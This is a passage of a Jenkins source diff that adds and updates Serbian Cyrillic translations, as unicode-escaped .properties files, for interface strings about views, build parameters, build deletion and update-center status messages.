\u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u043D\u0438\u0445 \u0440\u0430\u0437\u043B\u043E\u0433\u0430. +User.IllegalFullname=\u041D\u0435 \u043C\u043E\u0436\u0435\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 "{0}" \u0437\u0430 \u043F\u0443\u043D\u043E \u0438\u043C\u0435 \u0438\u0437 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u043D\u0438\u0445 \u0440\u0430\u0437\u043B\u043E\u0433\u0430. +Hudson.NoParamsSpecified=\u041D\u0438\u0441\u0443 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u0437\u043E\u0432\u0430\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +CLI.delete-job.shortDescription=\u0423\u043A\u043B\u043E\u043D\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +CLI.reload-job.shortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u0443\u0447\u0438\u0442\u0430\u0458 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0438\u0437 \u0434\u0438\u0441\u043A\u0430 +CLI.delete-node.shortDescription=\u0423\u043A\u043B\u043E\u043D\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +CLI.disconnect-node.shortDescription=\u041F\u0440\u0435\u043A\u0438\u043D\u0438 \u0432\u0435\u0437\u0443 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C +CLI.connect-node.shortDescription=\u041F\u043E\u0432\u0435\u0436\u0438 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C +CLI.offline-node.shortDescription= +Hudson.NotADirectory={0} \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/MyView/newViewDetail_sr.properties b/core/src/main/resources/hudson/model/MyView/newViewDetail_sr.properties new file mode 100644 index 0000000000..f0a62a8baa --- /dev/null +++ b/core/src/main/resources/hudson/model/MyView/newViewDetail_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041E\u0432\u0430 \u043F\u0440\u0435\u0437\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0430 \u045B\u0435 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043F\u0440\u0438\u043A\u0430\u0437\u0438\u0432\u0430\u0442\u0438 \u0437\u0430 \u0441\u0432\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0437\u0430 \u043A\u043E\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A \u0438\u043C\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F. diff --git a/core/src/main/resources/hudson/model/MyView/noJob_sr.properties b/core/src/main/resources/hudson/model/MyView/noJob_sr.properties new file mode 100644 index 0000000000..bad4b3bbef --- /dev/null +++ b/core/src/main/resources/hudson/model/MyView/noJob_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041E\u0432\u0430\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \u043D\u0435\u043C\u0430 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. diff --git a/core/src/main/resources/hudson/model/MyViewsProperty/config_sr.properties b/core/src/main/resources/hudson/model/MyViewsProperty/config_sr.properties new file mode 100644 index 0000000000..0d21018daf --- /dev/null +++ b/core/src/main/resources/hudson/model/MyViewsProperty/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Default\ View=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +description=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0458\u0435 \u0438\u0437\u0430\u0431\u0440\u0430\u043D \u043A\u0430\u0434\u0430 \u0441\u0435 \u0438\u0434\u0435 \u043D\u0430 \u043F\u0440\u0438\u0432\u0430\u0442\u043D\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 diff --git a/core/src/main/resources/hudson/model/MyViewsProperty/newView_sr.properties b/core/src/main/resources/hudson/model/MyViewsProperty/newView_sr.properties new file mode 100644 index 0000000000..14b8d5c30f --- /dev/null +++ b/core/src/main/resources/hudson/model/MyViewsProperty/newView_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +View\ name=\u0418\u043C\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 diff --git a/core/src/main/resources/hudson/model/NoFingerprintMatch/index_sr.properties b/core/src/main/resources/hudson/model/NoFingerprintMatch/index_sr.properties new file mode 100644 index 0000000000..fadf596940 --- /dev/null +++ b/core/src/main/resources/hudson/model/NoFingerprintMatch/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +No\ matching\ record\ found=\u041D\u0435 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u043D\u0438 \u0458\u0435\u0434\u043D\u043E\u043C \u043E\u0434 \u0437\u0430\u0431\u0435\u043B\u0435\u0436\u0435\u043D\u0438\u0445 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430. +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043D\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 +description=\u041E\u0442\u0438\u0441\u0430\u043A {0} \u043D\u0435 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u043D\u0438 \u0458\u0435\u0434\u043D\u043E\u043C \u043E\u0434 \u0437\u0430\u0431\u0435\u043B\u0435\u0436\u0435\u043D\u0438\u0445 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430. +cause.1=\u041C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435 \u0434\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043D\u0438\u0458\u0435 \u043D\u0430\u043F\u0440\u0430\u0432\u0459\u0435\u043D\u0430 \u0443 Jenkins.\ +\u041C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u0434\u0430 \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0452\u0435\u043D\u043E \u043D\u0430 \u043B\u043E\u043A\u0430\u043B\u043D\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438 \u043D\u0435\u043A\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430. +cause.2=\u041C\u043E\u0436\u0434\u0430 \u043D\u0438\u0441\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \u0434\u043E\u0431\u0440\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u0438, \u0437\u0431\u043E\u0433 \u0447\u0435\u0433\u0430 \u043E\u0442\u0438\u0441\u0446\u0438 \u043D\u0435\u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0438. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430. diff --git a/core/src/main/resources/hudson/model/ParametersAction/index_sr.properties b/core/src/main/resources/hudson/model/ParametersAction/index_sr.properties new file mode 100644 index 0000000000..4063f79415 --- /dev/null +++ b/core/src/main/resources/hudson/model/ParametersAction/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Parameters=\u041F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/config-details_sr.properties b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/config-details_sr.properties new file mode 100644 index 0000000000..a85431294b --- /dev/null +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/config-details_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Add\ Parameter=\u0414\u043E\u0434\u0430\u0458 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index_sr.properties b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index_sr.properties new file mode 100644 index 0000000000..a8a3c1a60a --- /dev/null +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +LOADING=\u0423\u0427\u0418\u0422\u0410\u0412\u0410\u040A\u0415 +description=\u041E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0437\u0430\u0445\u0442\u0435\u0432\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0435: +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/PasswordParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/PasswordParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..9d202ad38b --- /dev/null +++ b/core/src/main/resources/hudson/model/PasswordParameterDefinition/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Default\ Value= +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/hudson/model/PermalinkProjectAction/Permalink/link_sr.properties b/core/src/main/resources/hudson/model/PermalinkProjectAction/Permalink/link_sr.properties index bdde2cdba9..dde884e8fe 100644 --- a/core/src/main/resources/hudson/model/PermalinkProjectAction/Permalink/link_sr.properties +++ b/core/src/main/resources/hudson/model/PermalinkProjectAction/Permalink/link_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -format={0}({1}), {2} pre +format={0}({1}), {2} \u043F\u0440\u0435 diff --git a/core/src/main/resources/hudson/model/ProxyView/configure-entries_sr.properties b/core/src/main/resources/hudson/model/ProxyView/configure-entries_sr.properties new file mode 100644 index 0000000000..6cb8749ad8 --- /dev/null +++ b/core/src/main/resources/hudson/model/ProxyView/configure-entries_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +View\ name=\u0418\u043C\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 +The\ name\ of\ a\ global\ view\ that\ will\ be\ shown.=\u0418\u043C\u0435 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u043E\u0433 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u043A\u043E\u0458\u0438 \u045B\u0435 \u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D. diff --git a/core/src/main/resources/hudson/model/ProxyView/newViewDetail_sr.properties b/core/src/main/resources/hudson/model/ProxyView/newViewDetail_sr.properties new file mode 100644 index 0000000000..b38fb5f6e6 --- /dev/null +++ b/core/src/main/resources/hudson/model/ProxyView/newViewDetail_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Shows\ the\ content\ of\ a\ global\ view.=\u041F\u0440\u0438\u043A\u0430\u0437\u0443\u0458\u0435 \u0441\u0430\u0434\u0440\u0436\u0430\u0458 \u0433\u043B\u0430\u0432\u043D\u043E\u0433 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 + diff --git a/core/src/main/resources/hudson/model/Run/KeepLogBuildBadge/badge_sr.properties b/core/src/main/resources/hudson/model/Run/KeepLogBuildBadge/badge_sr.properties new file mode 100644 index 0000000000..bdd27859e3 --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/KeepLogBuildBadge/badge_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Keep\ this\ build\ forever=\u0417\u0430\u043F\u0430\u043C\u0442\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0437\u0430\u0443\u0432\u0435\u043A diff --git a/core/src/main/resources/hudson/model/Run/artifacts-index_sr.properties b/core/src/main/resources/hudson/model/Run/artifacts-index_sr.properties new file mode 100644 index 0000000000..ed4de01fde --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/artifacts-index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Build\ Artifacts=\u0410\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/hudson/model/Run/configure_sr.properties b/core/src/main/resources/hudson/model/Run/configure_sr.properties new file mode 100644 index 0000000000..6fffe044fd --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/configure_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +LOADING=\u0423\u0427\u0418\u0422\u0410\u0412\u0410\u040A\u0415 +DisplayName=\u0418\u043C\u0435 \u0437\u0430 \u043F\u0440\u0438\u043A\u0430\u0437 +Description=\u041E\u043F\u0438\u0441 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 diff --git a/core/src/main/resources/hudson/model/Run/confirmDelete_sr.properties b/core/src/main/resources/hudson/model/Run/confirmDelete_sr.properties new file mode 100644 index 0000000000..79339b25a8 --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/confirmDelete_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Warning=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435 +Yes=\u0414\u0430 +Are\ you\ sure\ about\ deleting\ the\ build?=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443? diff --git a/core/src/main/resources/hudson/model/Run/console_sr.properties b/core/src/main/resources/hudson/model/Run/console_sr.properties index c4c0552d28..3e24c621d1 100644 --- a/core/src/main/resources/hudson/model/Run/console_sr.properties +++ b/core/src/main/resources/hudson/model/Run/console_sr.properties @@ -1,4 +1,5 @@ # This file is under the MIT License by authors -Console\ Output=Ispis konzole -View\ as\ plain\ text=Vidi kao obi\u010Dan tekst +Console\ Output=\u0418\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 +View\ as\ plain\ text=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u043E\u0431\u0438\u0447\u043D\u043E\u0433 \u0442\u0435\u043A\u0441\u0442\u0430 +skipSome=\u041F\u0440\u0435\u0441\u043A\u0430\u0447\u0435 {0,number,integer} KB.. \u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u0436\u0443\u0440\u043D\u0430\u043B diff --git a/core/src/main/resources/hudson/model/Run/delete-retry_sr.properties b/core/src/main/resources/hudson/model/Run/delete-retry_sr.properties new file mode 100644 index 0000000000..d5454cf7ec --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/delete-retry_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Retry\ delete=\u041F\u043E\u043A\u0443\u0448\u0430\u0458 \u0431\u0440\u0438\u0441\u0430\u045A\u0435 \u043F\u043E\u043D\u043E\u0432\u043E +Show\ reason=\u041F\u0440\u0438\u043A\u0430\u0436\u0438 \u0440\u0430\u0437\u043B\u043E\u0433 +Not\ successful=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E diff --git a/core/src/main/resources/hudson/model/Run/delete_sr.properties b/core/src/main/resources/hudson/model/Run/delete_sr.properties index b5ac4708b1..50398669a8 100644 --- a/core/src/main/resources/hudson/model/Run/delete_sr.properties +++ b/core/src/main/resources/hudson/model/Run/delete_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Delete\ this\ build=Obrisi build +Delete\ this\ build=\u0423\u043A\u043B\u043E\u043D\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 diff --git a/core/src/main/resources/hudson/model/Run/logKeep_sr.properties b/core/src/main/resources/hudson/model/Run/logKeep_sr.properties new file mode 100644 index 0000000000..9c069ff8df --- /dev/null +++ b/core/src/main/resources/hudson/model/Run/logKeep_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Don't\ keep\ this\ build\ forever=\u041D\u0435\u043C\u043E\u0458 \u0437\u0430\u0434\u0440\u0436\u0430\u0442\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +Keep\ this\ build\ forever=\u0417\u0430\u0434\u0440\u0436\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +Don''t\ keep\ this\ build\ forever=\u041D\u0435\u043C\u043E\u0458 \u0437\u0430\u0434\u0440\u0436\u0430\u0442\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 diff --git a/core/src/main/resources/hudson/model/RunParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/RunParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..0f48747b5a --- /dev/null +++ b/core/src/main/resources/hudson/model/RunParameterDefinition/config_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Project=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Description=\u041E\u043F\u0438\u0441 +Filter=\u0424\u0438\u043B\u0442\u0435\u0440 +All\ Builds=\u0421\u0432\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Completed\ Builds\ Only=\u0421\u0430\u043C\u043E \u0437\u0430\u0432\u0440\u0448\u0435\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Successful\ Builds\ Only=\u0421\u0430\u043C\u043E \u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Stable\ Builds\ Only=\u0421\u0430\u043C\u043E \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/Slave/help-launcher_sr.properties b/core/src/main/resources/hudson/model/Slave/help-launcher_sr.properties new file mode 100644 index 0000000000..2e4d562fe1 --- /dev/null +++ b/core/src/main/resources/hudson/model/Slave/help-launcher_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Controls\ how\ Jenkins\ starts\ this\ agent.=\u041F\u043E\u0434\u0435\u0441\u0438 \u043D\u0430\u0447\u0438\u043D \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0430\u0433\u0435\u043D\u0442\u0430 \u043A\u0440\u043E\u0437 Jenkins. diff --git a/core/src/main/resources/hudson/model/StringParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/StringParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..93ae61cbc2 --- /dev/null +++ b/core/src/main/resources/hudson/model/StringParameterDefinition/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Default\ Value=\u041F\u043E\u0434\u0440\u0430\u0437\u0443\u043C\u0435\u0432\u0430\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 +Description= diff --git a/core/src/main/resources/hudson/model/TaskAction/log_sr.properties b/core/src/main/resources/hudson/model/TaskAction/log_sr.properties new file mode 100644 index 0000000000..9f1c8091f3 --- /dev/null +++ b/core/src/main/resources/hudson/model/TaskAction/log_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Clear\ error\ to\ retry=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0433\u0440\u0435\u0448\u043A\u0443 \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0443\u0448\u0430\u0458 diff --git a/core/src/main/resources/hudson/model/TextParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/TextParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..cf61857320 --- /dev/null +++ b/core/src/main/resources/hudson/model/TextParameterDefinition/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Default\ Value=\u041F\u043E\u0434\u0440\u0430\u0437\u0443\u043C\u0435\u0432\u0430\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/hudson/model/TreeView/sidepanel2_sr.properties b/core/src/main/resources/hudson/model/TreeView/sidepanel2_sr.properties new file mode 100644 index 0000000000..f8ec299e02 --- /dev/null +++ b/core/src/main/resources/hudson/model/TreeView/sidepanel2_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +New\ View=\u041D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/ConnectionCheckJob/row_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/ConnectionCheckJob/row_sr.properties index fa1e2190e2..05cfddd60f 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/ConnectionCheckJob/row_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/ConnectionCheckJob/row_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Preparation=Priprema +Preparation=\u041F\u0440\u0438\u043F\u0440\u0435\u043C\u0430\u045A\u0435 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_sr.properties new file mode 100644 index 0000000000..c5eac1c620 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +UpgradeComplete=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E +UpgradeCompleteRestartNotSupported=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E, \u0430\u043B\u0438 \u043D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435. +UpgradeFailed=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 \u0458\u0435 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E +Retry=\u041F\u043E\u043A\u0443\u0448\u0430\u0458 \u043F\u043E\u043D\u043E\u0432\u043E +UpgradeProgress=\u041D\u0430\u043F\u0440\u0435\u0434\u0430\u043A \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0430 +NewVersionAvailable=\u0418\u043C\u0430 \u043D\u043E\u0432\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 +Or\ Upgrade\ Automatically=\u0438\u043B\u0438 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E diff --git a/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Failure/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Failure/status_sr.properties new file mode 100644 index 0000000000..08ab00907c --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Failure/status_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Failure=\u0413\u0440\u0435\u0448\u043A\u0430 +Details=\u0414\u0435\u0442\u0430\u0459\u0438 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status_sr.properties new file mode 100644 index 0000000000..f9195b9f58 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Installing=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Pending/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Pending/status_sr.properties index baf65f0336..cf0838acf5 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Pending/status_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Pending/status_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Pending=U toku +Pending=\u0423 \u0442\u043E\u043A\u0443 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Success/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Success/status_sr.properties new file mode 100644 index 0000000000..66d22b692a --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Success/status_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E diff --git a/core/src/main/resources/hudson/model/UpdateCenter/EnableJob/row_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/EnableJob/row_sr.properties new file mode 100644 index 0000000000..3af25ed5fb --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/EnableJob/row_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Enabled\ Dependency=\u041E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0430 \u0437\u0430\u0432\u0438\u0441\u043D\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_sr.properties new file mode 100644 index 0000000000..c9523af58a --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Already\ Installed=\u0412\u0435\u045B \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u043E diff --git a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Canceled/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Canceled/status_sr.properties new file mode 100644 index 0000000000..efa35bc645 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Canceled/status_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Canceled=\u041E\u0442\u043A\u0430\u0437\u0430\u043D\u043E diff --git a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Failure/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Failure/status_sr.properties new file mode 100644 index 0000000000..17c0cafed8 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Failure/status_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Failure=\u0413\u0440\u0435\u0448\u043A\u0430 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Pending/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Pending/status_sr.properties index baf65f0336..cf0838acf5 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Pending/status_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Pending/status_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Pending=U toku +Pending=\u0423 \u0442\u043E\u043A\u0443 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Running/status_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Running/status_sr.properties new file mode 100644 index 0000000000..7775a5ee2a --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Running/status_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Running=\u0412\u0440\u0448\u0438 \u0441\u0435 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/row_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/row_sr.properties index 5ff318c3cf..0797fb4ce9 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/row_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/row_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Restarting\ Jenkins=Restart Jenkins-a +Restarting\ Jenkins=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 Jenkins diff --git a/core/src/main/resources/hudson/model/UpdateCenter/body_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/body_sr.properties index fc0d020534..d91543fb32 100644 